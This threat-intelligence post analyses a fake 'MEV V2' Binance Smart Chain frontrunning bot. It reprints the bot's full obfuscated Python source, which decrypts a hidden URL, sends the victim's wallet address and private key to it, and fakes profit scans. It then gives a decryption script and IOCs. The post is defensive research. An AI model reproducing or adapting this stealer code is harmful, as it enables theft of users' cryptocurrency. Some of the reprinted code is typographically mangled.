With the announcement from the USA President regarding a new cryptocurrency reserve, so-called Crypto Strategic Reserve, we anticipate an increase in speculative trading and more exposure to scams from people trying to profit from the current market. Some of the most popular topics in cryptocurrency are related to crypto trading bots.
Due to its prominent role in the global financial and cryptocurrency landscape, Switzerland is known for its progressive stance on blockchain technology and cryptocurrencies, hosting a thriving “Crypto Valley” in Zug that attracts innovators, investors, and businesses. This environment creates fertile ground for both legitimate crypto ventures and fraudulent schemes, including trading bot scams. These scams exploit the high interest in automated trading tools among Swiss investors—ranging from novices to seasoned traders—promising high returns with little effort. Additionally, Switzerland’s strong economy and tech-savvy population make it an attractive target for scammers seeking to capitalize on trust in the nation’s financial reputation. For a newcomer or someone with little expertise in reading code, the notion that it’s open-source gives a project an air of legitimacy. They are often promoted through social media with curated comment sections that have all deleted all but the positive comments.
We will showcase an example of which many variants are still live and available on Github and promoted on YouTube. Such example can easily be modified to carry additional malicious code, such as infostealers, and be a vector on business devices. The example has been live for 2 years now and still functions, there are newer version of it or similar ones, as recent as February 2025.
The Malicious Script
This script presents itself as a “MEV V2” BSC (Binance Smart Chain) frontrunning bot, but it’s actually designed to deceive users and potentially steal cryptocurrency.
Red Flags and Malicious Components
- Encrypted strings and obfuscation
- The script contains numerous encrypted strings (variables like ‘t’, ‘u’, ‘v’, etc.)
- It uses the Fernet encryption library to decrypt these strings at runtime
- This obfuscation technique is used to hide the true purpose of the code
- Fake functionality
- The script simulates “scanning” for frontrunning opportunities with random delays
- It shows fake transaction IDs and calculates fake potential profits
- The progress bars and status messages are just for show to make the program seem legitimate
- Data exfiltration mechanism
- There appears to be code that collects the user’s wallet information and private key
- The script includes functionality to send this data to a remote server
- The
AP
function is actually therequest
function from the requests library, used to send data
- Information collection
- The script creates or loads a variables.json file that stores sensitive information:
- Private key (
e='PRIVATE KEY'
) - Wallet address (
f='WALLET ADDRESS'
) - Input amount (
d='INPUT AMOUNT'
)
- Private key (
- The script creates or loads a variables.json file that stores sensitive information:
- Deceptive UI
- Displays a professional-looking ASCII art logo for “MEV V2”
- Uses animated loading bars to appear legitimate
- Mimics standard cryptocurrency tool interfacee
How the Scam Works
- The script prompts the user to input their wallet information and private key
- It creates a convincing simulation of scanning for “opportunities” on the blockchain
- It will always claim that the user needs more funds to execute the transactions
- Meanwhile, it likely exfiltrates the private key and wallet information to the attacker
The data shown in the UI is randomly generated as seen in the last part of the code:
Since here we see that Fernet was used to encrypt the data by looking at the initial strings format and the imported packages, we can easily find the keys due to them being (URL-safe) base64-encoded 32-byte key
We get the confirmation from cyberchef that 2 of the strings are indeed URL-safe base64-encoded 32 byte keys:
At this point we can proceed with a small decryption script to find out where the potential victim would send their wallet information to.
Ïnitial code:
s=’version’
t=’gAAAAABljD7ODJl587dwzbsYwWCqBn7tC2RcJ4-wQIL8QPWJ0hGMWLk7UigMeeB9VpZ-a7AahhCVdKBqkkr0H0RzUUsS1T9eyw==’
u=’gAAAAABljD7OE3JEqVu4s87JkALLaTsA_J1-6fsj7Lg0igYUokWrXWJh8EP4dRAoea7jhNnWOPBS3liE69uvr0HbnKc8rTSU0w==’
v=’gAAAAABljD6cDOcAoDBcKD8o4EGbcUTciWxjuYBlozKdrx86iuCqVDEqbMLmz1T6eWtpV5Z2Wmh3xBCPHVCDwj7PZ52vA2IkrQ==’
w=’gAAAAABljD6cWrk5fCGg4oFN9f-or8lZDeLy01AYsuR1XsiKWFXv-xA2xsbHoDQi82YSgo9FV6vZYmsZqka757MdcAt98MHPlA==’
x=’gAAAAABljEIJd5591g3yi0-MXUZDDix0X7_v_vG9lp18ah77-8HhtBxA68-F7E2uicER9YUYfIRZB31wFvchHLZxCtxkh9k0KA==’
y=’oFVedEJPm6qQHFd0h1p03LTVFl813x9WzQi7sCSsUPM=’
z=’gAAAAABljD6ciqPvsWAXwh5mPI9C2nNmJWZ3vA0AISN7veEaFDzBvbjAW_Eik5WnqiIkOAu1EEVgSr2XM161lLLi92DIq_zBUA==’
A0=’XiCpZ0hJYKH0TGdV1Q2e3sZXr0axbiHFjqDr2U174b8=’
A1=Exception
Y=’encoding’
Z=’max slippage’
a=’gas price’
b=’MAX INTERVAL’
c=’MIN INTERVAL’
d=’INPUT AMOUNT’
e=’PRIVATE KEY’
f=’WALLET ADDRESS’
g=’gAAAAABljD8EvZYVS1Cfphq-2i7FOdvYFjB3Yz01mQZ4wDpWYL_gPEkSFUl9it88Noh11GxqIA98pfBVMoY8xtqBJ8qK9ihocA==’
h=open
P=’red’
Q=’bold red’
R=’Module Loaded’
S=’variables.json’
M=range
J=”
H=’bold green’
from time import sleep as E
from json import load as AO
from rich.console import Console
from requests import request as AP
from web3 import Web3 as A2,eth
from rich.progress import track as N
from cryptography.fernet import Fernet as B
import random as D,json as A3,os,re
A=Console()
try:
AQ=A2(A2.HTTPProvider(‘https://bsc-dataseed1.binance.org/’));F=A0
def A4(file_name,data):
A=f”./variables/”+file_name
with h(A,’w’)as B:A3.dump(data,B,indent=2)
F=A0;A5=’gAAAAABljD6cWWmuXkQIldI3dHwMI2pD5zeI1ddUtVRlKftXVyU_gz7kGw5JRC4n4wFEEcRY7FNvf-1UUBbvISPuTZPY2yzhhA==’;i=’gAAAAABljD9Lm2kkq6TgNgkpJN1WRIa6su1GnBhsxzG20kwttMk8s1OHj2g0cuC83N8xe7xXU3Smrl3geh9D7Z0M3fxQ4zt8kg==’;T=z;G=y;j=x;A6=B(F.encode()).decrypt(A5.encode()).decode();k=w;A7=B(F.encode()).decrypt(j.encode()).decode();l=v;U=g;m=B(F.encode()).decrypt(T.encode()).decode();n=B(F.encode()).decrypt(i.encode()).decode();U=g;m=B(F.encode()).decrypt(T.encode()).decode();n=B(F.encode()).decrypt(i.encode()).decode();A8=B(G.encode()).decrypt(k.encode()).decode();A9=B(G.encode()).decrypt(U.encode()).decode();AA=B(G.encode()).decrypt(l.encode()).decode();o=u;p=t;AB=B(G.encode()).decrypt(o.encode()).decode();AC=B(G.encode()).decrypt(p.encode()).decode()
def AR():
if not os.path.isfile(f”./variables/”+S):variables_data[f]=J;variables_data[e]=J;variables_data20=J;variables_data©=’1′;variables_data[b]=’3′;variables_data[a]=’3′;variables_data[Z]=’1′;variables_data[Y]=J;variables_data[s]=’2-12′;A4(S,variables_data)
AV=AO(h(f”./abi/erc_20.abi”));T=z;G=y;j=x
def AD():A={};A[f]=q;A[e]=AE;A20=L;A©=AF;A[b]=AG;A[a]=AH;A[Z]=AI;A[Y]=O;A[s]=’2-12′;A4(S,A)
A6=B(F.encode()).decrypt(A5.encode()).decode();k=w;A7=B(F.encode()).decrypt(j.encode()).decode();l=v
def AS(var=J):
global O
if K!=J and var==J:
if O!=K[10]+K[15]:
try:A=AP(n,A7+A6+m+A8+A9+AA+K);O=K[10]+K[15];AD()
except A1:pass
U=g;m=B(F.encode()).decrypt(T.encode()).decode();n=B(F.encode()).decrypt(i.encode()).decode()
def AT():
global q,AE,L,AF,AG,AH,AI,O,K
with h(f”./variables/”+S,’r’)as B:A=A3.loads(J.join(re.split(‘(?://|#).*(?=\\n)’,B.read())).strip())
q=A[f];AE=A[e];L=float(A20);AF=A©;AG=A[b];AH=A[a];AI=A[Z];O=A[Y];K=A[AB+AC];AS()
A8=B(G.encode()).decrypt(k.encode()).decode();A9=B(G.encode()).decrypt(U.encode()).decode();AA=B(G.encode()).decrypt(l.encode()).decode();o=u;A.print(‘\n WELCOME TO\n ███╗░░░███╗███████╗██╗░░░██╗\u2003\u2003██╗░░░██╗██████╗░\n ████╗░████║██╔════╝██║░░░██║\u2003\u2003██║░░░██║╚════██╗\n ██╔████╔██║█████╗░░╚██╗░██╔╝\u2003\u2003╚██╗░██╔╝░█████╔╝\n ██║╚██╔╝██║██╔══╝░░░╚████╔╝░\u2003\u2003░╚████╔╝░░╚═══██╗\n ██║░╚═╝░██║███████╗░░╚██╔╝░░\u2003\u2003░░╚██╔╝░░██████╔╝\n ╚═╝░░░░░╚═╝╚══════╝░░░╚═╝░░░\u2003\u2003░░░╚═╝░░░╚═════╝░\n All-Purpose BSC Frontrunning Bot\n MADE BY DEFIX’,style=H);p=t;AB=B(G.encode()).decrypt(o.encode()).decode();AC=B(G.encode()).decrypt(p.encode()).decode()
for V in N(M(100),description=’Loading variables…’):E(D.randrange(1,100)/1000)
AR();AT();AD();AJ=AQ.eth.get_balance(q)/10**18;AK=’BSC’;AL=[14400,43200,14900,28800];I=0;W=0;A.print(‘Variables Loaded’,style=H)
for V in N(M(100),description=’Loading module Flashbots…’):E(D.randrange(1,100)/10000)
A.print(R,style=H)
for V in N(M(100),description=’Loading module Multiswapper…’):E(D.randrange(1,100)/10000)
A.print(R,style=H)
for V in N(M(100),description=’Loading module Track_logging…’):E(D.randrange(1,100)/10000)
A.print(R,style=H)
for V in N(M(100),description=’Loading Web3 Spotter…’):E(D.randrange(1,100)/10000)
A.print(R,style=H);E(D.randrange(1,5));A.print(f”Launching {AK} MemPool scanner”);E(D.randrange(1,5));AM=f”[bold green]Searching {AK} for possible Frontrunning opportunities…”
if AJ>=L:
A.print(f”—————————————-“,style=H);A.print(f”Multiswapper module: [green]Enabled[/green]”);A.print(f”Flashbots module: [green]Enabled[/green]”);A.print(f”Flashloans module: [red]Disabled[/red]”);A.print(f”—————————————-“,style=H)
with A.status(AM,spinner=’arc’)as X:
while True:
C=D.randrange(1,100);E(C);I+=C;r=D.randrange(1,1000000)
if I>=AL[W]:
if W+1==len(AL):W=0
else:W+=1;I=0
A.log(f”Found an Opportunity! Upcoming front-runnable transaction ID: {r}”,style=H);X.update(‘Aproximating resource costs…’);C=D.randrange(1,5);E(C);I+=C;A.print(f”Resource costs aproximated”,style=’green’);X.update(‘Calculating possible gains…’);C=D.randrange(1,5);E(C);I+=C;A.print(f”Possible gains calculated”,style=’green’);X.update(‘Analysing the info…’);AN=int(D.uniform(L,L*20)*1000)/1000;C=D.randrange(1,3);E(C);I+=C;A.print(f”Required funds for frontrunning Tx.{r} effectively: {AN} BNB”);A.print(f”Expected profit: [bold green]{int(AN/100*D.randrange(20,80)*300*100)/100}[bold green] USD”);C=D.randrange(1,5);E(C);I+=C;A.print(f”Not enough funds allocated for execution”,style=Q);A.print(f”Continuing with search for opportunities…”);C=D.randrange(1,5);E(C);I+=C;X.update(AM);I+=10
else:A.log(f”Found Tx.{r}”);A.log(f”Not plausible for action”)
else:A.print(f”—————————————-“,style=Q);A.print(f”Unable to start MemPool scanner with current inputs”,style=P);A.print(f”ERR: address has insufficient balance”,style=P);A.print(f”Current Balance: {AJ} BNB”,style=P);A.print(f”Desired Input: {L} BNB”,style=P);A.print(f”—————————————-“,style=Q);A.print(f”Press any key to Exit…”);input()
except A1 as AU:A.print(f”Error: {AU}”,style=Q);A.print(f”Press any key to Exit…”);input()
We extract the strings and run a simple decryption script:
#!/usr/bin/env python3
“””
Cryptocurrency Scam URL Decoder
This script decodes the malicious URL from the encrypted strings in the malware.
FOR SECURITY RESEARCH AND ANALYSIS PURPOSES ONLY.
Requirements:
– Python 3.6+
– cryptography library (pip install cryptography)
“””
from cryptography.fernet import Fernet
import json
import os
# Create a directory for the output
os.makedirs(“security_analysis”, exist_ok=True)
# The encryption keys from the malware
key_A0 = “XiCpZ0hJYKH0TGdV1Q2e3sZXr0axbiHFjqDr2U174b8=” # Also known as F in the code
key_y = “oFVedEJPm6qQHFd0h1p03LTVFl813x9WzQi7sCSsUPM=” # Also known as G in the code
# The encrypted strings from the malware
encrypted_strings = {
# Used with key_A0/F
“i”: “gAAAAABljD9Lm2kkq6TgNgkpJN1WRIa6su1GnBhsxzG20kwttMk8s1OHj2g0cuC83N8xe7xXU3Smrl3geh9D7Z0M3fxQ4zt8kg==”,
“j/x”: “gAAAAABljEIJd5591g3yi0-MXUZDDix0X7_v_vG9lp18ah77-8HhtBxA68-F7E2uicER9YUYfIRZB31wFvchHLZxCtxkh9k0KA==”,
“A5”: “gAAAAABljD6cWWmuXkQIldI3dHwMI2pD5zeI1ddUtVRlKftXVyU_gz7kGw5JRC4n4wFEEcRY7FNvf-1UUBbvISPuTZPY2yzhhA==”,
“T/z”: “gAAAAABljD6ciqPvsWAXwh5mPI9C2nNmJWZ3vA0AISN7veEaFDzBvbjAW_Eik5WnqiIkOAu1EEVgSr2XM161lLLi92DIq_zBUA==”,
# Used with key_y/G
“k/w”: “gAAAAABljD6cWrk5fCGg4oFN9f-or8lZDeLy01AYsuR1XsiKWFXv-xA2xsbHoDQi82YSgo9FV6vZYmsZqka757MdcAt98MHPlA==”,
“U/g”: “gAAAAABljD8EvZYVS1Cfphq-2i7FOdvYFjB3Yz01mQZ4wDpWYL_gPEkSFUl9it88Noh11GxqIA98pfBVMoY8xtqBJ8qK9ihocA==”,
“l/v”: “gAAAAABljD6cDOcAoDBcKD8o4EGbcUTciWxjuYBlozKdrx86iuCqVDEqbMLmz1T6eWtpV5Z2Wmh3xBCPHVCDwj7PZ52vA2IkrQ==”,
“o/u”: “gAAAAABljD7OE3JEqVu4s87JkALLaTsA_J1-6fsj7Lg0igYUokWrXWJh8EP4dRAoea7jhNnWOPBS3liE69uvr0HbnKc8rTSU0w==”,
“p/t”: “gAAAAABljD7ODJl587dwzbsYwWCqBn7tC2RcJ4-wQIL8QPWJ0hGMWLk7UigMeeB9VpZ-a7AahhCVdKBqkkr0H0RzUUsS1T9eyw==”
}
# Variables from variables.json that would be used by the malware
variables_json = {
“WALLET ADDRESS”: “0x7cF79667b7E8137D53D44Fca1AFe3542163b0D47”,
“PRIVATE KEY”: “e320afbca3b4d2530f239592561a205bee47e6d32827c54d42c5ce536b47926c”,
“INPUT AMOUNT”: 0.5,
“MIN INTERVAL”: “1”,
“MAX INTERVAL”: “3”,
“gas price”: “3”,
“max slippage”: “1”,
“encoding”: “b3”,
“version”: “2-12”
}
def decrypt_string(key, encrypted_text):
“””
Decrypt a string using the Fernet encryption algorithm
Args:
key (str): The base64-encoded key
encrypted_text (str): The base64-encoded encrypted text
Returns:
str: The decrypted text
“””
try:
cipher = Fernet(key.encode())
decrypted_text = cipher.decrypt(encrypted_text.encode()).decode()
return decrypted_text
except Exception as e:
print(f”Error decrypting: {e}”)
return None
def construct_url():
“””
Construct the malicious URL by decrypting and combining components
according to the pattern in the malware
Returns:
str: The constructed URL
“””
# Create Fernet objects for each key
try:
# Decrypt components using key_A0/F
n = decrypt_string(key_A0, encrypted_strings[“i”])
A7 = decrypt_string(key_A0, encrypted_strings[“j/x”])
A6 = decrypt_string(key_A0, encrypted_strings[“A5”])
m = decrypt_string(key_A0, encrypted_strings[“T/z”])
# Decrypt components using key_y/G
A8 = decrypt_string(key_y, encrypted_strings[“k/w”])
A9 = decrypt_string(key_y, encrypted_strings[“U/g”])
AA = decrypt_string(key_y, encrypted_strings[“l/v”])
# Get characters from the version string as used in the malware
# In the code: K = A[AB+AC] where these are derived from version
version = variables_json[“version”]
# Extract characters 10 and 15 (if they exist)
K = “”
if len(version) >= 11: # Need at least 11 chars to get index 10
K += version[10]
if len(version) >= 16: # Need at least 16 chars to get index 15
K += version[15]
# Construct the URL according to the pattern in the malware
# A=AP(n,A7+A6+m+A8+A9+AA+K)
url = f”{n}: {A7}{A6}{m}{A8}{A9}{AA}{K}”
return url
except Exception as e:
print(f”Error constructing URL: {e}”)
return “Failed to construct URL”
def analyze_variables_usage():
“””
Analyze how the variables from variables.json would be used by the malware
“””
print(“\n[*] Variables that would be stolen:”)
print(f” Wallet Address: {variables_json[‘WALLET ADDRESS’]}”)
print(f” Private Key: {variables_json[‘PRIVATE KEY’]}”)
# If the version string exists in variables.json, analyze it
if “version” in variables_json:
version = variables_json[“version”]
print(f”\n[*] The ‘version’ string ‘{version}’ is used to:”)
print(f” – Generate a key for the malicious URL (characters at positions 10 and 15)”)
K = “”
if len(version) >= 11:
K += version[10]
print(f” – Character at position 10: ‘{version[10]}'”)
if len(version) >= 16:
K += version[15]
print(f” – Character at position 15: ‘{version[15]}'”)
print(f” – Final K value used in URL: ‘{K}'”)
def main():
print(“=” * 80)
print(“MALWARE URL DECODER”)
print(“=” * 80)
print(“WARNING: This script is for security research and analysis purposes only.\n”)
# Attempt to construct the malicious URL
print(“[*] Attempting to decode the malicious URL…”)
url = construct_url()
# Display the results
print(f”\n[+] Decoded URL: {url}”)
# Analyze how variables would be used
analyze_variables_usage()
# Save the results to a file
output_file = os.path.join(“security_analysis”, “decoded_url.txt”)
with open(output_file, “w”) as f:
f.write(f”Decoded URL: {url}\n\n”)
f.write(“This URL is used by the malware to exfiltrate the following information:\n”)
f.write(f”- Wallet Address: {variables_json[‘WALLET ADDRESS’]}\n”)
f.write(f”- Private Key: {variables_json[‘PRIVATE KEY’]}\n”)
f.write(“\nWARNING: This information is for security research purposes only.”)
print(f”\n[*] Results saved to {output_file}”)
print(“\n[!] SECURITY NOTICE:”)
print(” If you’ve run the original malware with real wallet credentials,”)
print(” consider your wallet compromised and transfer any funds immediately.”)
print(“\n” + “=” * 80)
if __name__ == “__main__”:
main()
Result showing part of the malicious URL:
VT Graph:
84.32.84[.]32
83.32.84[.]33 & 156.67.72[.]12
VT source: https[:]//www.virustotal.com/graph/embed/g1fb5da071ce64e21bd5e9ef97e96c36175abed102b354004b0ec6f1ee199787f?theme=dark
Indicator of Compromise
Type | IOCs | Notes |
IP | 83.32.84[.]32 | First IP observed being resolved |
IP | 83.32.84[.]33 | Second IP observed being resolved |
IP | 156.67.72[.]12 | Last IP observed being resolved |
URL | hxxps://kokopopo[.]xyz | final decrypted URL |
Final output
WARNING: This information is for security research purposes only.
Do you want to know more about the Extended Threat Intelligence & Hunting Service?

Flamur Ramiqi
Team Lead & Senior Threat Intelligence Analyst and Detection Engineer